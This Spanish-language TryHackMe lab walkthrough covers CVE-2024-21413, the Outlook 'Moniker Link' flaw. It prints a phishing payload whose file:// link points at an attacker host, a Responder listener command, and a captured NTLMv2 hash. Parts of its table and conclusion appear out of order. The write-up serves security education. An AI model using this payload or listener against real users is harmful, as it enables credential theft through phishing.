
Walkthrough de TryHackMe Moniker Link (CVE-2024-21413): bypass de la Vista Protegida de Outlook que conduce a la captura del hash NTLMv2 mediante un enlace moniker manipulado.
Un walkthrough completo de la sala "Moniker Link" de TryHackMe: explotar CVE-2024-21413, una vulnerabilidad de Microsoft Outlook de 2024, para robar el hash NTLMv2 de la víctima en el momento en que hace clic en un enlace de un correo de phishing — sin macro, sin adjunto, sin aviso de seguridad obvio.
CVE-2024-21413 ("Moniker Link") es una vulnerabilidad en la forma en que Outlook valida los enlaces file:// que utilizan la sintaxis "moniker" OLE de Windows (un ! al final después de la ruta, p. ej. file://host/share!something). Se supone que Outlook abre los enlaces a archivos externos a través de Protected View, que aísla el archivo y advierte al usuario antes de que pueda filtrarse cualquier credencial. El ! adicional rompe el analizador de URLs de Outlook lo justo necesario para omitir Protected View por completo y pasar el enlace directamente a Windows, que — como parece una ruta UNC — intenta silenciosamente autenticarse por SMB contra el servidor del atacante. Ese intento de autenticación filtra el hash NTLMv2 de la víctima antes de que la víctima haya hecho nada más que hacer clic en un enlace de apariencia normal.
| Tarea | Objetivo |
|---|---|
responder -I ens5
Responder se inicia en la interfaz de la máquina del atacante antes de enviar nada, con el envenenamiento LLMNR, NBT-NS y DNS habilitado. Esto es lo que realmente captura la fuga de credenciales: una vez que el exploit engaña a Outlook para que intente autenticarse por SMB contra la IP del atacante, Responder es lo que está escuchando al otro lado para atraparlo.

El objetivo es un buzón estándar de Outlook, [email protected], en su vista normal de bandeja de entrada antes de que llegue cualquier correo de phishing: la línea base a partir de la cual trabaja el resto de la sala.

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
El exploit (el PoC público de CMNatic para CVE-2024-21413) es un pequeño script en Python que construye y envía un correo HTML por SMTP. El payload está completamente en una línea: un enlace <a href="file://..."> apuntando a la máquina del atacante, con un !exploit final añadido a la ruta. Ese ! final es todo el bug: es lo que hace que el analizador de enlaces de Outlook clasifique mal la URL y se salte la comprobación de Protected View que normalmente aplicaría a un enlace de archivo externo.

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
Ejecutar el script autentica contra el servidor de correo y envía el correo manipulado a la víctima. Email delivered confirma que salió exitosamente del buzón del atacante.

El correo llega al buzón de [email protected] desde CMNatic, con asunto CVE-2024-21413, y no contiene más que un único hipervínculo que dice "Click me" — sin adjunto, sin aviso de macro, nada que normalmente hiciera sospechar a un filtro de phishing o a un usuario cauteloso.

Hacer clic en "Click me" desencadena el diálogo de error del Explorador de Windows en Outlook: "No podemos encontrar '\10.113.72.84\test!exploit'. Asegúrate de que estás usando la ubicación o dirección web correcta." Este error es en realidad la prueba de que el exploit ya funcionó: para cuando aparece este diálogo, Windows ya ha intentado resolver esa ruta UNC a través de SMB y ya se ha autenticado contra 10.113.72.84 (la máquina del atacante) en el proceso. El fallo visible es solo que Explorer no encuentra un recurso compartido que nunca tuvo la intención de existir; la fuga de credenciales ya ocurrió silenciosamente antes de que apareciera la ventana de error.

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
De vuelta en la máquina del atacante, Responder ya ha capturado el handshake NTLMv2-SSP completo para THM-MONIKERLINK\tryhackme, con origen en 10.113.150.143 (la víctima). Sin solicitud de credenciales, sin aviso de seguridad y sin acción del usuario más allá de un solo clic en algo que parecía un enlace normal: el hash estaba listo para descifrar o retransmitir en el instante en que Outlook manejó mal el moniker link.

!) era toda la vulnerabilidad. CVE-2024-21413 es un buen recordatorio
de que los analizadores de URL/rutas son una fuente común de evasión de límites de seguridad: una entrada malformada no necesita
ser compleja para esquivar una comprobación, solo necesita caer en una ruta de código que la comprobación no cubre.file:// es una
técnica antigua; lo que hizo notable a este CVE fue que se suponía que Outlook no debía permitir que el enlace se disparara sin
advertencia alguna.| 1. Reconocimiento |
| Entender el CVE y cómo el fallo de parseo del moniker link evita Protected View |
| 2. Configurar el listener | Levantar Responder para capturar la autenticación SMB saliente |
| 3. Weaponizar | Construir un correo de phishing con un enlace moniker malicioso |
| 4. Entregar | Enviar el correo al buzón de la víctima |
| 5. Capturar | Hacer que la víctima haga clic en el enlace y capturar su hash NTLMv2 |